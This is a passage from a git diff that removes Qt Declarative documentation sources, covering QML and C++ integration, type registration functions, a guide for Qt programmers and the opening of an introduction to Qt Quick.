components are essentially object trees with children that have siblings and their own children. -Child objects of QML components can be located using the QObject::objectName property with -QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: - -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start -\codeline -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml child -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end - -The child could be located like this: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp findChild - -If \c objectName is used inside a delegate of a ListView, \l Repeater or some other -element that creates multiple instances of its delegates, there will be multiple children with -the same \c objectName. In this case, QObject::findChildren() can be used to find all children -with a matching \c objectName. - -\warning While it is possible to use C++ to access and manipulate QML objects deep into the -object tree, we recommend that you do not take this approach outside of application -testing and prototyping. One strength of QML and C++ integration is the ability to implement the -QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the -C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult -to, for example, swap a QML view component for another view, if the new component was missing a -required \c objectName. It is better for the C++ implementation to know as little as possible about -the QML user interface implementation and the composition of the QML object tree. - - -\section2 Embedding C++ Objects into QML Components - -When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into -the QML object. QDeclarativeContext enables this by exposing data to the context of a QML -component, allowing data to be injected from C++ into QML. - -For example, here is a QML item that refers to a \c currentDateTime value that does not exist in -the current scope: - -\snippet doc/src/snippets/declarative/qtbinding/context/MyItem.qml 0 - -This \c currentDateTime value can be set directly by the C++ application that loads the QML -component, using QDeclarativeContext::setContextProperty(): - -\snippet doc/src/snippets/declarative/qtbinding/context/main.cpp 0 - -Context properties can hold either QVariant or QObject* values. This means custom C++ objects can -also be injected using this approach, and these objects can be modified and read directly in QML. -Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code -invokes a method on the object instance: - -\table -\row -\li -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp 0 -\li -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml 0 -\endtable - -(Note that date/time values returned from C++ to QML can be formatted through -\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - -If the QML item needs to receive signals from the context property, it can connect to them using the -\l Connections element. For example, if \c ApplicationData has a signal named \c -dataChanged(), this signal can be connected to using an \c onDataChanged handler within -a \l Connections object: - -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml 0 - -Context properties can be useful for using C++ based data models in a QML view. See the -\l {declarative/modelviews/stringlistmodel}{String ListModel}, -\l {declarative/modelviews/objectlistmodel}{Object ListModel} and -\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for -respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel -in QML views. - -Also see the QDeclarativeContext documentation for more information. - - -\section2 Defining New QML Elements - -While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be -defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through -C++ classes. When you create a QML object using one of these elements, you are simply creating an -instance of a QObject-based C++ class and setting its properties. - -To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly. -You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because -it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). - -For example, here is an \c ImageViewer class with an \c image URL property: - -\snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0 - -Aside from the fact that it inherits QDeclarativeItem, this is an ordinary class that could -exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): - -\snippet doc/src/snippets/declarative/qtbinding/newelements/main.cpp register - -Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlugin}{plugin} can create and manipulate -\c ImageViewer objects: - -\snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0 - - -It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem. -This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. -To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. - -Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is -a displayable item. If the item is not displayable, it can simply inherit from QObject. - -For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++} -{Writing QML extensions with C++} tutorial and the -\l {Extending QML Functionalities using C++} reference documentation. - - - -\section1 Exchanging Data between QML and C++ - -QML and C++ objects can communicate with one another through signals, slots and property -modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System} -- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On -the QML side, all QML object data is automatically made available to the meta-object system and can -be accessed from C++. - - -\section2 Calling Functions - -QML functions can be called from C++ and vice-versa. - -All QML functions are exposed to the meta-object system and can be called using -QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: - -\table -\row -\li \snippet doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml 0 -\li \snippet doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp 0 -\endtable - -Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as -QVariant types, as this is the generic data type used for QML functions and return values. - -To call a C++ function from QML, the function must be either a Qt slot, or a function marked with -the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes -methods on the \c myObject object, which has been set using QDeclarativeContext::setContextProperty(): - -\table -\row -\li -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml 0 -\li -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp 0 -\endtable - -QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the -same name but different arguments, the correct function will be called according to the number and -the types of arguments that are provided. - - -\section2 Receiving Signals - -All QML signals are automatically available to C++, and can be connected to using QObject::connect() -like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using -\l {Signal Handlers}{signal handlers}. - -Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's -slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal -is emitted: - -\table -\row -\li -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml 0 -\li -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp 0 -\endtable - -To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax. -If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above) -then the signal handler can be defined within the object declaration. In the following example, the -QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the -C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: - -\table -\row -\li - -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h start -\dots 4 -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h end - -\li -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml 0 -\endtable - -(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be -received with an \c on<Property>Changed handler even if the signal's name does not follow the \c -<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named -"imageModified" instead, the \c onImageChanged signal handler would still be called.) - -If, however, the object with the signal is not created from within the QML code, and the QML item only has a -reference to the created object - for example, if the object was set using -QDeclarativeContext::setContextProperty() - then the \l Connections element can be used -instead to create the signal handler: - -\table -\row -\li \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp connections -\li \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml 0 -\endtable - -C++ signals can use enum values as parameters provided that the enum is declared in the -class that is emitting the signal, and that the enum is registered using Q_ENUMS. -See \l {Using enumerations of a custom type} below for details. - - -\section2 Modifying Properties - -Any properties declared in a QML object are automatically accessible from C++. Given a QML item -like this: - -\snippet doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml 0 - -The value of the \c someNumber property can be set and read using QDeclarativeProperty, or -QObject::setProperty() and QObject::property(): - -\snippet doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp 0 - -You should always use QObject::setProperty(), QDeclarativeProperty or QMetaProperty::write() to -change a QML property value, to ensure the QML engine is made aware of the property change. For example, -say you have a custom element \c PushButton with a \c buttonText property that internally reflects -the value of a \c m_buttonText member variable. Modifying the member variable directly like this is -not a good idea: - -\badcode -// BAD! -QDeclarativeComponent component(engine, "MyButton.qml"); -PushButton *button = qobject_cast<PushButton*>(component.create()); -button->m_buttonText = "Click me"; -\endcode - -Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} -and the QML engine is not made aware of the property change. This means property bindings to -\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. - - -\target properties-cpp - -Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() -macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into -QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor -property. This property can be written to and read from QML: - -\table -\row -\li \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h 0 -\li \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml 0 -\endtable - -Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the -\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, -the property cannot be used for \l {Property Binding} in QML, as the QML engine would not be -notified when the value changes. If you are using custom types in QML, make sure their -properties have NOTIFY signals so that they can be used in property bindings. - -See \l {Tutorial: Writing QML extensions with C++} for further details and examples -on using Qt properties with QML. - - -\section1 Supported data types - -Any C++ data that is used from QML - whether as custom properties, or parameters for signals or -functions - must be of a type that is recognizable by QML. - -By default, QML recognizes the following data types: - -\list -\li bool -\li unsigned int, int -\li float, double, qreal -\li QString -\li QUrl -\li QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF -\li QSize, QSizeF -\li QRect, QRectF -\li QVariant -\li QVariantList, QVariantMap -\li QObject* -\li Enumerations declared with Q_ENUMS() -\endlist - -To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML -type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. - - -\section2 JavaScript Arrays and Objects - -There is built-in support for automatic type conversion between QVariantList and JavaScript -arrays, and QVariantMap and JavaScript objects. - -For example, the function defined in QML below left expects two arguments, an array and an object, and prints -their contents using the standard JavaScript syntax for array and object item access. The C++ code -below right calls this function, passing a QVariantList and a QVariantMap, which are automatically -converted to JavaScript array and object values, repectively: - -\table -\header -\li Type -\li String format -\li Example -\row -\li \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml 0 -\li \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp 0 -\endtable - -This produces output like: - -\code -Array item: 10 -Array item: #00ff00 -Array item: bottles -Object item: language = QML -Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) -\endcode - -Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method -parameter, the value can be created as a JavaScript array or object in the QML -side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. - - -\section2 Using Enumerations of a Custom Type - -To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to -register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: - -\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h start -\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h end - -Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can -now be used from QML: - -\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 0 - -The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it -can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values -must begin with a capital letter. - -See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and -the \l {Extending QML Functionalities using C++} reference documentation for -more information. - - -\section2 Using Enumeration Values as Signal and Method Parameters - -C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration -and the signal are declared within the same class, or that the enumeration value is one of those declared -in the \l {Qt}{Qt Namespace}. - -Likewise, invokable C++ methods parameters may be enumeration values providing that the enumeration and -the method are declared within the same class, or that the enumeration value is one of those declared in the -\l {Qt}{Qt Namespace}. - -Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} -function, the enum type must be registered using qRegisterMetaType(). - -For QML signals, enum values may be used as signal parameters using the \c int type: - -\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 1 - - -\section2 Automatic Type Conversion from Strings - -As a convenience, some basic types can be specified in QML using format strings to make it easier to -pass simple values from QML to C++. - -\table -\header -\li Type -\li String format -\li Example -\row -\li QColor -\li Color name, "#RRGGBB", "#RRGGBBAA" -\li "red", "#ff0000", "#ff000000" -\row -\li QDate -\li "YYYY-MM-DD" -\li "2010-05-31" -\row -\li QPoint -\li "x,y" -\li "10,20" -\row -\li QRect -\li "x,y,WidthxHeight" -\li "50,50,100x100" -\row -\li QSize -\li "WidthxHeight" -\li "100x200" -\row -\li QTime -\li "hh:mm:ss" -\li "14:22:55" -\row -\li QUrl -\li URL string -\li "http://www.example.com" -\row -\li QVector3D -\li "x,y,z" -\li "0,1,0" -\row -\li Enumeration value -\li Enum value name -\li "AlignRight" -\endtable - -(More details on these string formats and types can be found in the -\l {QML Basic Types}{basic type documentation}.) - -These string formats can be used to set QML \c property values and pass arguments to C++ -functions. This is demonstrated by various examples on this page; in the above -\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor -property of a QColor type, which is set from the QML code with the string "red" rather rather -than an actual QColor object. - -If it is preferred to pass an explicitly-typed value rather than a string, the global -\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object -types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four -RGBA values. The QColor returned from this function could be used instead of a string to set -a QColor-type property or to call a C++ function that requires a QColor parameter. - - -\section1 Writing QML plugins - -The Qt Declarative module includes the QDeclarativeExtensionPlugin class, which is an abstract -class for writing QML plugins. This allows QML extension types to be dynamically loaded into -QML applications. - -See the QDeclarativeExtensionPlugin documentation and \l {How to Create Qt Plugins} for more -details. - - -\section1 Managing resource files with the Qt resource system - -The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as -binary files in an application executable. This can be useful when building a mixed -QML/C++ application as it enables QML files (as well as other resources such as images -and sound files) to be referred to through the resource system URI scheme rather than -relative or absolute paths to filesystem resources. Note, however, that if you use the resource -system, the application executable must be re-compiled whenever a QML source file is changed -in order to update the resources in the package. - -To use the resource system in a mixed QML/C++ application: - -\list -\li Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource - files in XML format -\li From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the - \c qrc scheme -\endlist - -Once this is done, all files specified by relative paths in QML will be loaded from -the resource system instead. Use of the resource system is completely transparent to -the QML layer; this means all QML code should refer to resource files using relative -paths and should \e not use the \c qrc scheme. This scheme should only be used from -C++ code for referring to resource files. - -Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. -The directory structure looks like this: - -\code -project - |- example.qrc - |- main.qml - |- images - |- background.png - |- main.cpp - |- project.pro -\endcode - -The \c main.qml and \c background.png files will be packaged as resource files. This is -done in the \c example.qrc resource collection file: - -\quotefile doc/src/snippets/declarative/qtbinding/resources/example.qrc - -Since \c background.png is a resource file, \c main.qml can refer to it using the relative -path specified in \c example.qrc: - -\snippet doc/src/snippets/declarative/qtbinding/resources/main.qml 0 - -To allow QML to locate resource files correctly, the \c main.cpp loads the main QML -file, \c main.qml, as a resource file using the \c qrc scheme: - -\snippet doc/src/snippets/declarative/qtbinding/resources/main.cpp 0 - -Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should -be used to build the application resources: - -\quotefile doc/src/snippets/declarative/qtbinding/resources/resources.pro - -See \l {The Qt Resource System} for more information. - -*/ - - diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc deleted file mode 100644 index 5b43c9a3..00000000 --- a/doc/src/declarative/qtdeclarative.qdoc +++ /dev/null @@ -1,213 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \module QtDeclarative - \title Qt Declarative Module - \ingroup modules - - \brief The Qt Declarative module provides a declarative framework - for building highly dynamic, custom user interfaces. - - To include the definitions of the module's classes, use the - following directive: - - \code - #include <QtDeclarative> - \endcode - - To link against the module, add this line to your \l qmake \c - .pro file: - - \code - QT += declarative - \endcode - - For more information on the Qt Declarative module, see the - \l{Qt Quick} documentation. -*/ - - -/*! - \macro QML_DECLARE_TYPE() - \relates QDeclarativeEngine - - Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) - - #include <QtDeclarative> to use this macro. -*/ - -/*! - \macro QML_DECLARE_TYPEINFO(Type,Flags) - \relates QDeclarativeEngine - - Declares additional properties of the given \a Type as described by the - specified \a Flags. - - Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which - declares that the \a Type supports \l {Attached Properties}. - - #include <QtDeclarative> to use this macro. -*/ - - -/*! - \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - There are two forms of this template function: - - \code - template<typename T> - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - - template<typename T, int metaObjectRevision> - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - \endcode - - The former is the standard form which registers the type \e T as a new type. - The latter allows a particular revision of a class to be registered in - a specified version (see \l {QML Type Versioning}). - - - For example, this registers a C++ class \c MySliderItem as a QML type - named \c Slider for version 1.0 of a \l{QML Modules}{module} called - "com.mycompany.qmlcomponents": - - \code - #include <QtDeclarative> - - ... - - qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider"); - \endcode - - Once this is registered, the type can be used in QML by importing the - specified module name and version number: - - \qml - import com.mycompany.qmlcomponents 1.0 - - Slider { - // ... - } - \endqml - - Note that it's perfectly reasonable for a library to register types to older versions - than the actual version of the library. Indeed, it is normal for the new library to allow - QML written to previous versions to continue to work, even if more advanced versions of - some of its types are available. -*/ - -/*! - \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - While the type has a name and a type, it cannot be created, and the - given error \a message will result if creation is attempted. - - This is useful where the type is only intended for providing attached properties or enum values. - - Returns the QML type id. - - #include <QtDeclarative> to use this function. - - \sa qmlRegisterTypeNotAvailable() -*/ - -/*! - \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QDeclarativeEngine - - This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type - will produce the given error \a message. - - Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should - at least "reserve" the QML type name, and give the user of your module a meaningful error message. - - Returns the QML type id. - - Example: - - \code - #ifdef NO_GAMES_ALLOWED - qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); - #else - qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game"); - #endif - \endcode - - This will cause any QML which uses this module and attempts to use the type to produce an error message: - \code - fun.qml: Get back to work, slacker! - Game { - ^ - \endcode - - Without this, a generic "Game is not a type" message would be given. - - #include <QtDeclarative> to use this function. - - \sa qmlRegisterUncreatableType() -*/ - -/*! - \fn int qmlRegisterType() - \relates QDeclarativeEngine - \overload - - This template function registers the C++ type in the QML - system. Instances of this type cannot be created from the QML - system. - - #include <QtDeclarative> to use this function. - - Returns the QML type id. -*/ - -/*! - \fn int qmlRegisterInterface(const char *typeName) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system - under the name \a typeName. - - #include <QtDeclarative> to use this function. - - Returns the QML type id. -*/ diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc deleted file mode 100644 index 7421ec2a..00000000 --- a/doc/src/declarative/qtprogrammers.qdoc +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtprogrammers.html -\target qtprogrammers -\title QML for Qt Programmers - -While QML does not require Qt knowledge to use, if you \e are already familiar with Qt, -much of your knowledge is directly relevant to learning and using QML. Of course, -an application with a UI defined in QML also uses Qt for all the non-UI logic. - -\section1 Familiar Concepts - -QML provides direct access to the following concepts from Qt: - -\list - \li QAction - the \l {QML Basic Types}{action} type - \li QObject signals and slots - available as functions to call in JavaScript - \li QObject properties - available as variables in JavaScript - \li QWidget - QDeclarativeView is a QML-displaying widget - \li Qt models - used directly in data binding (QAbstractItemModel) -\endlist - -Qt knowledge is \e required for \l {Extending QML Functionalities using C++}, -and also for \l{Integrating QML Code with existing Qt UI code}. - -\section1 QML Items compared with QWidgets - -QML Items are very similar to QWidgets: they define the look and feel of the user interface. (Note that while QWidgets -haven't traditionally been used to define the look and feel of view delegates, QML Items can be used for this as well.) - -There are three structurally different types of QWidget: - -\list - \li Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) - \li Parent widgets that are normally used as parents to other widgets (QGroupBox, QStackedWidget, QTabWidget, etc.) - \li Compound widgets that are internally composed of child widgets (QComboBox, QSpinBox, QFileDialog, QTabWidget, etc.) -\endlist - -QML Items also serve these purposes. Each is considered separately below. - -\section2 Simple Widgets - -The most important rule to remember while implementing a new QDeclarativeItem in C++ -is that it should not contain any look and feel policies - leave that to the -QML usage of the item. - -As an example, imagine you wanted a reusable Button item. If you therefore -decided to write a QDeclarativeItem subclass to implement a button, -just as QToolButton subclasses QWidget for this purpose, following the rule above, your -\c QDeclarativeButton would not have any appearance - just the notions of enabled, triggering, etc. - -But there is already an object in Qt that does this: QAction. - -QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, QToolButton, -and other visual widgets that are commonly bound to a QAction. - -So, the job of implementing a checkbox abstraction for QML is already done - it's QAction. -The look and feel of an action - the appearance of the button, the transition between states, -and exactly how it respond to mouse, key, or touch input, should all be left for definition -in QML. - -It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, -QDeclarativeWebView is built upon QWebPage, and ListView uses QAbstractItemModel, -just as QTextEdit, QWebView, and QListView are built upon -those same UI-agnostic components. - -The encapsulation of the look and feel that QWidgets gives is important, and for this -the QML concept of \l {qdeclarativedocuments.html}{components} serves the same purpose. If you are building a complete -suite of applications which should have a consistent look and feel, you should build -a set of reusable components with the look and feel you desire. - -So, to implement your reusable button, you would simply build a QML component. - - -\section2 Parent Widgets - -Parent widgets each provide a generic way to interface to one or more arbitrary other widgets. -A QTabWidget provides an interface to multiple "pages", one of which is visible at any time, -and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around -a widget that is otherwise too large to fit in available space. - -Nearly all such components can be created directly in QML. Only a few cases -which require very particular event handling, such as Flickable, require C++ implementations. - -As an example, imagine you decided to make a generic tab widget item to be used -through your application suite wherever information is in such quantity that it -needs to be divided up into pages. - -A significant difference in the parenting concept with QML compare to QWidgets -is that while child items are positioned relative to their parents, -there is no requirement that they be wholly contained ("clipped") to -the parent (although the clipped property of the child Item does allow -this where it is needed). -This difference has rather far-reaching consequences, for example: - -\list - \li A shadow or highlight around a widget could be a child of that widget. - \li Particle effects can flow outside the object where they originate. - \li Transitioning animations can "hide" items by visibly moving them beyond the screen bounds. -\endlist - - -\section2 Compound Widgets - -Some widgets provide functionality by composing other widgets as an "implementation detail", -providing a higher level API to the composition. QSpinBox for example is a line edit and some -buttons to increase/decrease the edited value. QFileDialog uses a whole host of widgets to -give the user a way of finding and selecting a file name. - -When developing reusable QML Items, you may choose to do the same: build an item composed -of other items you have already defined. - -The only caveat when doing this is to consider the possible animations and transitions that -users of the compound item might wish to employ. For example, a spinbox might need to smoothly -transition from an arbitrary Text item, or characters within a Text item, so your spinbox -item would need to be sufficiently flexible to allow such animation. - -\section1 QML Items Compared With QGraphicsWidgets - -The main difference between QML items and QGraphicsWidgets is how they are intended to be used. The technical implementation details are much the same, but in practice they are different because QML items are made for declarative and compositional use, and QGraphicsWidgets are made for imperative and more integrated use. Both QML items and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences are in the layouting system and the interfacing with other components. Note that, as QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a QGraphicsWidget may be many QML items composed across several QML files, but it can still be loaded and used as a single QGraphicsObject from C++. - -QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid UIs, so the geometry interface is one of the main differences. When writing QML elements, you allow the designers to place their bounding rectangle using absolute geometry, bindings or anchors (all setup for you when you inherit QDeclarativeItem) and you do not use layouts or size hints. If size hints are appropriate, then place them in the QML documentation so that the designers know how to use the item best, but still have complete control over the look and feel. - -The other main difference is that QGraphicsWidgets tend to follow the widget model, in that they are a self-contained bundle of UI and logic. In contrast, QML primitives are usually a single purpose item that does not fulfill a use case on its own, but is composed into the equivalent of the widget inside the QML file. So when writing QML Items, try to avoid doing UI logic or composing visual elements inside the items. Try instead to write more general purpose primitives, so that the look and feel (which involves the UI logic) can be written in QML. - -Both differences are caused by the different method of interaction. QGraphicsWidget is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and QDeclarativeItem is a QGraphicsObject subclass which makes fluid UI development from QML easier. The difference therefore is primarily one of the interface exposed, and the design of the items that come with it (the Declarative primitives for QML and the nothing for QGraphicsWidget, because you need to write your own UI logic into the subclass). - -If you wish to use both QML and C++ to write the UI, for example to ease the transition period, it is recommended to use QDeclarativeItem subclasses (although you can use QGraphicsWidgets as well). To allow for easier use from C++ make the root item of each C++ component a LayoutItem, and load individual 'widgets' of QML (possibly comprised of multiple files, and containing a self-contained bundle of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time. -*/ diff --git a/doc/src/declarative/qtquick-intro.qdoc b/doc/src/declarative/qtquick-intro.qdoc deleted file mode 100644 index 92f28ade..00000000 --- a/doc/src/declarative/qtquick-intro.qdoc +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-intro.html -\title Introduction to Qt Quick - -Qt Quick is a collection of technologies that are designed to help developers -create the kind of intuitive, modern, and fluid user interfaces that are -increasingly used on mobile phones, media players, set-top boxes, and other -portable devices. Qt Quick consists of a rich set of user interface -\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for -describing user interfaces, and a language \l{QtDeclarative Module}{runtime}. A -collection of C++ APIs is used to integrate these high level features 